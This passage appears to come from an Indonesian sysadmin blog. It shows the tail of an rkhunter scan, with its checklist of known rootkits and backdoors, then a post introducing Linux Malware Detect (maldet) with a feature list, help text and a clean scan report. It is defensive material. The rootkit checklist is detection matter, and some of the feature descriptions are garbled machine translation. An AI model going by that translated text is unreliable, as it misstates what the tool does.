] /usr/bin/file [ OK ] /usr/bin/find [ OK ] /usr/bin/GET [ OK ] /usr/bin/groups [ OK ] /usr/bin/head [ OK ] /usr/bin/id [ OK ] /usr/bin/killall [ OK ] /usr/bin/last [ OK ] /usr/bin/lastlog [ OK ] /usr/bin/ldd [ OK ] /usr/bin/less [ OK ] /usr/bin/locate [ OK ] /usr/bin/logger [ OK ] /usr/bin/lsattr [ OK ] /usr/bin/lsof [ OK ] /usr/bin/mail [ OK ] /usr/bin/md5sum [ OK ] /usr/bin/mlocate [ OK ] /usr/bin/newgrp [ OK ] /usr/bin/passwd [ OK ] /usr/bin/perl [ OK ] /usr/bin/pgrep [ OK ] /usr/bin/pkill [ OK ] /usr/bin/pstree [ OK ] /usr/bin/rkhunter [ OK ] /usr/bin/rpm [ OK ] /usr/bin/runcon [ OK ] /usr/bin/sha1sum [ OK ] /usr/bin/sha224sum [ OK ] /usr/bin/sha256sum [ OK ] /usr/bin/sha384sum [ OK ] /usr/bin/sha512sum [ OK ] /usr/bin/size [ OK ] /usr/bin/sort [ OK ] /usr/bin/ssh [ OK ] /usr/bin/stat [ OK ] /usr/bin/strace [ OK ] /usr/bin/strings [ OK ] /usr/bin/sudo [ OK ] /usr/bin/tail [ OK ] /usr/bin/telnet [ OK ] /usr/bin/test [ OK ] /usr/bin/top [ OK ] /usr/bin/touch [ OK ] /usr/bin/tr [ OK ] /usr/bin/uniq [ OK ] /usr/bin/users [ OK ] /usr/bin/vmstat [ OK ] /usr/bin/w [ OK ] /usr/bin/watch [ OK ] /usr/bin/wc [ OK ] /usr/bin/wget [ OK ] /usr/bin/whatis [ OK ] /usr/bin/whereis [ OK ] /usr/bin/which [ OK ] /usr/bin/who [ OK ] /usr/bin/whoami [ OK ] /usr/bin/gawk [ OK ] /usr/bin/lwp-request [ Warning ] /usr/bin/s-nail [ OK ] /usr/bin/x86_64-linux-gnu-size [ OK ] /usr/bin/x86_64-linux-gnu-strings [ OK ] /usr/bin/telnet.netkit [ OK ] /usr/bin/w.procps [ OK ] /sbin/depmod [ OK ] /sbin/fsck [ OK ] /sbin/ifconfig [ OK ] /sbin/ifdown [ OK ] /sbin/ifup [ OK ] /sbin/init [ OK ] /sbin/insmod [ OK ] /sbin/ip [ OK ] /sbin/lsmod [ OK ] /sbin/modinfo [ OK ] /sbin/modprobe [ OK ] /sbin/rmmod [ OK ] /sbin/route [ OK ] /sbin/runlevel [ OK ] /sbin/sulogin [ OK ] /sbin/sysctl [ OK ] /bin/bash [ OK ] /bin/cat [ OK ] /bin/chmod [ OK ] /bin/chown [ OK ] /bin/cp [ OK ] /bin/date [ OK ] /bin/df [ OK ] /bin/dmesg [ OK ] /bin/echo [ OK ] /bin/ed [ OK ] /bin/egrep [ OK ] /bin/fgrep [ OK ] /bin/fuser [ OK ] /bin/grep [ OK ] /bin/ip [ OK ] /bin/kill [ OK ] /bin/less [ OK ] /bin/login [ OK ] /bin/ls [ OK ] /bin/lsmod [ OK ] /bin/mktemp [ OK ] /bin/more [ OK ] /bin/mount [ OK ] /bin/mv [ OK ] /bin/netstat [ OK ] /bin/ping [ OK ] /bin/ps [ OK ] /bin/pwd [ OK ] /bin/readlink [ OK ] /bin/sed [ OK ] /bin/sh [ OK ] /bin/su [ OK ] /bin/touch [ OK ] /bin/uname [ OK ] /bin/which [ OK ] /bin/kmod [ OK ] /bin/systemd [ OK ] /bin/systemctl [ OK ] /bin/dash [ OK ] /lib/systemd/systemd [ OK ] [Press <ENTER> to continue] Checking for rootkits... Performing check of known rootkit files and directories 55808 Trojan - Variant A [ Not found ] ADM Worm [ Not found ] AjaKit Rootkit [ Not found ] Adore Rootkit [ Not found ] aPa Kit [ Not found ] Apache Worm [ Not found ] Ambient (ark) Rootkit [ Not found ] Balaur Rootkit [ Not found ] BeastKit Rootkit [ Not found ] beX2 Rootkit [ Not found ] BOBKit Rootkit [ Not found ] cb Rootkit [ Not found ] CiNIK Worm (Slapper.B variant) [ Not found ] Danny-Boy's Abuse Kit [ Not found ] Devil RootKit [ Not found ] Dica-Kit Rootkit [ Not found ] Dreams Rootkit [ Not found ] Duarawkz Rootkit [ Not found ] Enye LKM [ Not found ] Flea Linux Rootkit [ Not found ] Fu Rootkit [ Not found ] Fuck`it Rootkit [ Not found ] GasKit Rootkit [ Not found ] Heroin LKM [ Not found ] HjC Kit [ Not found ] ignoKit Rootkit [ Not found ] IntoXonia-NG Rootkit [ Not found ] Irix Rootkit [ Not found ] Jynx Rootkit [ Not found ] KBeast Rootkit [ Not found ] Kitko Rootkit [ Not found ] Knark Rootkit [ Not found ] ld-linuxv.so Rootkit [ Not found ] Li0n Worm [ Not found ] Lockit / LJK2 Rootkit [ Not found ] Mood-NT Rootkit [ Not found ] MRK Rootkit [ Not found ] Ni0 Rootkit [ Not found ] Ohhara Rootkit [ Not found ] Optic Kit (Tux) Worm [ Not found ] Oz Rootkit [ Not found ] Phalanx Rootkit [ Not found ] Phalanx2 Rootkit [ Not found ] Phalanx2 Rootkit (extended tests) [ Not found ] Portacelo Rootkit [ Not found ] R3dstorm Toolkit [ Not found ] RH-Sharpe's Rootkit [ Not found ] RSHA's Rootkit [ Not found ] Scalper Worm [ Not found ] Sebek LKM [ Not found ] Shutdown Rootkit [ Not found ] SHV4 Rootkit [ Not found ] SHV5 Rootkit [ Not found ] Sin Rootkit [ Not found ] Slapper Worm [ Not found ] Sneakin Rootkit [ Not found ] 'Spanish' Rootkit [ Not found ] Suckit Rootkit [ Not found ] Superkit Rootkit [ Not found ] TBD (Telnet BackDoor) [ Not found ] TeLeKiT Rootkit [ Not found ] T0rn Rootkit [ Not found ] trNkit Rootkit [ Not found ] Trojanit Kit [ Not found ] Tuxtendo Rootkit [ Not found ] URK Rootkit [ Not found ] Vampire Rootkit [ Not found ] VcKit Rootkit [ Not found ] Volc Rootkit [ Not found ] Xzibit Rootkit [ Not found ] zaRwT.KiT Rootkit [ Not found ] ZK Rootkit [ Not found ] [Press <ENTER> to continue] Performing additional rootkit checks Suckit Rookit additional checks [ OK ] Checking for possible rootkit files and directories [ None found ] Checking for possible rootkit strings [ None found ] Performing malware checks Checking running processes for suspicious files [ None found ] Checking for login backdoors [ None found ] Checking for suspicious directories [ None found ] Checking for sniffer log files [ None found ] Suspicious Shared Memory segments [ None found ] Checking for Apache backdoor [ Not found ] Performing Linux specific checks Checking loaded kernel modules [ OK ] Checking kernel module names [ OK ] [Press <ENTER> to continue] Checking the network... Performing checks on the network ports Checking for backdoor ports [ Warning ] Checking for hidden ports [ None found ] Performing checks on the network interfaces Checking for promiscuous interfaces [ None found ] Checking the local host... Performing system boot checks Checking for local host name [ Found ] Checking for system startup files [ Found ] Checking system startup files for malware [ None found ] Performing group and account checks Checking for passwd file [ Found ] Checking for root equivalent (UID 0) accounts [ None found ] Checking for passwordless accounts [ None found ] Checking for passwd file changes [ None found ] Checking for group file changes [ None found ] Checking root account shell history files [ None found ] Performing system configuration file checks Checking for an SSH configuration file [ Not found ] Checking for a running system logging daemon [ Found ] Checking for a system logging configuration file [ Found ] Checking if syslog remote logging is allowed [ Not allowed ] Performing filesystem checks Checking /dev for suspicious file types [ Warning ] Checking for hidden files and directories [ Warning ] [Press <ENTER> to continue] System checks summary ===================== File properties checks... Files checked: 152 Suspect files: 2 Rootkit checks... Rootkits checked : 365 Possible rootkits: 1 Applications checks... All checks skipped The system checks took: 4 minutes and 7 seconds All results have been written to the log file: /var/log/rkhunter.log One or more warnings have been found while checking the system. Please check the log file (/var/log/rkhunter.log)

Scanner Malware Linux dengan Linux Malware Detected (LMD)

October 06, 2016 Add Comment
Malware! (Malcious and Software) adalah perangkat lunak berbahaya yang di ciptakan oleh orang jahat untuk menyusup, mengambil informasi atau merusak system komputer, tanpa ijin pemilik komputer, malware juga bisa disebut code jahat, yang diciptakan untuk tujuan tertentu. Baca Malware 

Umumnya malware menyerang system operasi Windows namun di Linux juga di temukan adanya Malware.
Linux Malware Detected (LMD) adalah malware scanner untuk Linux dirilis di bawah lisensi GNU GPLv2, yang dirancang di sekitar ancaman yang dihadapi dalam lingkungan host bersama. Ini menggunakan data ancaman dari sistem deteksi intrusi jaringan tepi untuk mengekstrak malware yang aktif digunakan dalam serangan dan menghasilkan tanda tangan untuk deteksi.

Selain itu, ancaman data juga berasal dari kiriman pengguna dengan fitur checkout LMD dan dari sumber malware masyarakat. Tanda tangan yang menggunakan LMD adalah hash MD5 file yang dan pola HEX pertandingan, mereka juga dengan mudah diekspor ke sejumlah alat deteksi seperti ClamAV.

Kekuatan pendorong di belakang LMD adalah bahwa saat ini ketersediaan terbatas alat bantu gratis open source / pembatasan untuk sistem Linux yang berfokus pada deteksi malware dan lebih penting yang bisa melakukannya dengan benar. Banyak produk AV yang melakukan deteksi malware di Linux memiliki track record yang sangat miskin mendeteksi ancaman, terutama yang ditargetkan pada lingkungan host bersama.

Ancaman lanskap di lingkungan host bersama unik dari yang dari produk AV deteksi Suite standar dalam bahwa mereka mendeteksi terutama trojan tingkat OS, rootkit dan tradisional berkas-menginfeksi virus tapi hilang yang semakin meningkat berbagai malware pada tingkat akun pengguna yang berfungsi sebagai platform serangan.

Fitur:
- Deteksi berkas hash MD5 untuk identifikasi ancaman cepat
- Berdasarkan HEX pencocokan pola untuk ancaman mengidentifikasi varian
- Komponen analisis statistik untuk mendeteksi ancaman dikaburkan (misalnya: base64)
- Deteksi terintegrasi dari ClamAV untuk digunakan sebagai mesin scanner untuk meningkatkan kinerja
- Fitur update signature terintegrasi dengan u | -update
- Terintegrasi fitur update versi dengan -d | -update-ver
- Memindai-baru pilihan untuk memindai file yang telah ditambahkan / diubah dalam hari X
- Scan-semua opsi untuk pemindaian path lengkap berdasarkan
- Pilihan checkout untuk meng-upload diduga malware ke rfxn.com untuk ditinjau / hashing
- Sistem pelaporan penuh untuk melihat hasil scan saat ini dan sebelumnya
- Antrian karantina yang menyimpan ancaman secara aman tanpa izin
- Pilihan batching karantina untuk mengkarantina hasil scan saat ini atau masa lalu
- Karantina mengembalikan pilihan untuk mengembalikan file dengan aslinya jalan, pemilik perms
- Karantina menangguhkan pilihan akun untuk Cpanel menangguhkan atau shell mencabut pengguna
- Aturan cleaner untuk mencoba penghapusan malware disuntikkan string
- Pilihan batching cleaner untuk mencoba membersihkan scan laporan sebelumnya
- Aturan cleaner untuk menghapus base64 dan gzinflate (base64 disuntikkan malware
- Harian scanning berdasarkan cron dari semua perubahan dalam 24 jam terakhir di homedirs pengguna
- Skrip cron harian kompatibel dengan sistem gaya saham RH, Cpanel & Ensim
- Kernel berdasarkan inotify real time file yang scanning dari dibuat / diubah / file dipindahkan
- Kernel memantau inotify yang dapat mengambil data path dari STDIN atau FILE
- Kernel inotify fitur memantau kenyamanan untuk memantau pengguna sistem
- Kernel inotify monitor dapat dibatasi ke html akar dikonfigurasi pengguna
- Kernel baris tidak valid memantau dengan batas sysctl dinamis untuk kinerja yang optimal
- Kernel inotify mengingatkan melalui harian dan / atau opsional laporan mingguan
pelaporan peringatan e-mail setelah setiap pelaksanaan scan (manual & setiap hari) -
- Jalan, perluasan dan tanda tangan berdasarkan mengabaikan Pilihan
- Pilihan scanner latar belakang untuk operasi pemindaian tanpa pengawasan
- Verbose logging & output dari semua tindakan

Download: Linux Malware Detected  Kemudian install. Selanjutnya cara menggunak Linux Malware Detected (LMD).
root# maldet --help
Linux Malware Detect v1.5
            (C) 2002-2016, R-fx Networks <proj@rfxn.com>
            (C) 2016, Ryan MacDonald <ryan@rfxn.com>
This program may be freely redistributed under the terms of the GNU GPL v2
signature set: 201608309492
usage /usr/local/sbin/maldet [ OPTION ]
    -b, --background
      Execute operations in the background, ideal for large scans
      e.g: maldet -b -r /home/?/public_html 7
    -u, --update-sigs
       Update malware detection signatures from rfxn.com
    -d, --update-ver
       Update the installed version from rfxn.com
    -f, --file-list
       Scan files or paths defined in line spaced file
       e.g: maldet -f /root/scan_file_list
    -r, --scan-recent PATH DAYS
       Scan files created/modified in the last X days (default: 7d, wildcard: ?)
       e.g: maldet -r /home/?/public_html 2
    -a, --scan-all PATH
       Scan all files in path (default: /home, wildcard: ?)
       e.g: maldet -a /home/?/public_html
    -i, --include-regex REGEX
       Include paths/files from file list based on supplied posix-egrep regular
       expression.
       e.g: To include only paths named wp-content and files ending in .php:
       --include-regex ".*/wp-content/.*|.*.php$"
    -x, --exclude-regex REGEX
       Exclude paths/files from file list based on supplied posix-egrep regular
       expression.
       e.g: To exclude paths containing 'wp-content/w3tc/' and core files:
       --exclude-regex ".*wp-content/w3tc/.*|.*core.[0-9]+$"
    -m, --monitor USERS|PATHS|FILE|RELOAD
       Run maldet with inotify kernel level file create/modify monitoring
       If USERS is specified, monitor user homedirs for UID's > 500
       If FILE is specified, paths will be extracted from file, line spaced
       If PATHS are specified, must be comma spaced list, NO WILDCARDS!
       e.g: maldet --monitor users
       e.g: maldet --monitor /root/monitor_paths
       e.g: maldet --monitor /home/mike,/home/ashton
    -k, --kill-monitor
       Terminate inotify monitoring service
    -c, --checkout FILE
       Upload suspected malware to rfxn.com for review & hashing into signatures
    -l, --log
       View maldet log file events
    -e, --report SCANID email
       View scan report of most recent scan or of a specific SCANID and optionally
       e-mail the report to a supplied e-mail address
       e.g: maldet --report
       e.g: maldet --report list
       e.g: maldet --report 050910-1534.21135
       e.g: maldet --report SCANID user@domain.com
    -s, --restore FILE|SCANID
       Restore file from quarantine queue to orginal path or restore all items from
       a specific SCANID
       e.g: maldet --restore /usr/local/maldetect/quarantine/config.php.23754
       e.g: maldet --restore 050910-1534.21135
    -q, --quarantine SCANID
       Quarantine all malware from report SCANID
       e.g: maldet --quarantine 050910-1534.21135
    -n, --clean SCANID
       Try to clean & restore malware hits from report SCANID
       e.g: maldet --clean 050910-1534.21135
    -U, --user USER
       Set execution under specified user, ideal for restoring from user quarantine or
       to view user reports.
       e.g: maldet --user nobody --report
       e.g: maldet --user nobody --restore 050910-1534.21135
    -co, --config-option VAR1=VALUE,VAR2=VALUE,VAR3=VALUE
       Set or redefine the value of conf.maldet config options
       e.g: maldet --config-option email_addr=you@domain.com,quarantine_hits=1
    -p, --purge
       Clear logs, quarantine queue, session and temporary data.
Jalankan malware scanner keseluruhan, tunggu hingga prossesnya selesai.
root# maldet --scan-all Linux Malware Detect v1.5 (C) 2002-2016, R-fx Networks <proj@rfxn.com> (C) 2016, Ryan MacDonald <ryan@rfxn.com> This program may be freely redistributed under the terms of the GNU GPL v2 maldet(6240): {scan} signatures loaded: 10906 (8988 MD5 / 1918 HEX / 0 USER) maldet(6240): {scan} building file list for /home, this might take awhile... maldet(6240): {scan} setting nice scheduler priorities for all operations: cpunice 19 , ionice 6 maldet(6240): {scan} file list completed in 27s, found 50699 files... maldet(6240): {scan} scan of /home (50699 files) in progress... maldet(6240): {scan} 50699/50699 files scanned: 0 hits 0 cleaned maldet(6240): {scan} scan completed on /home: files 50699, malware hits 0, cleaned hits 0, time 6143s maldet(6240): {scan} scan report saved, to view run: maldet --report 161007-1428.6240
Check report scanner maldet.
HOST: root SCAN ID: 161007-1428.6240 STARTED: Okt 7 2016 14:28:30 +0700 COMPLETED: Okt 7 2016 16:10:53 +0700 ELAPSED: 6143s [find: 27s] PATH: /home TOTAL FILES: 50699 TOTAL HITS: 0 TOTAL CLEANED: 0 =============================================== xLinux Malware Detect v1.5 < proj@rfxn.com >
Dapat disimpulkan bahwa file yang ada di directory Home tidak terinfeksi Virus.
Sekian dari saya semoga bermanfaat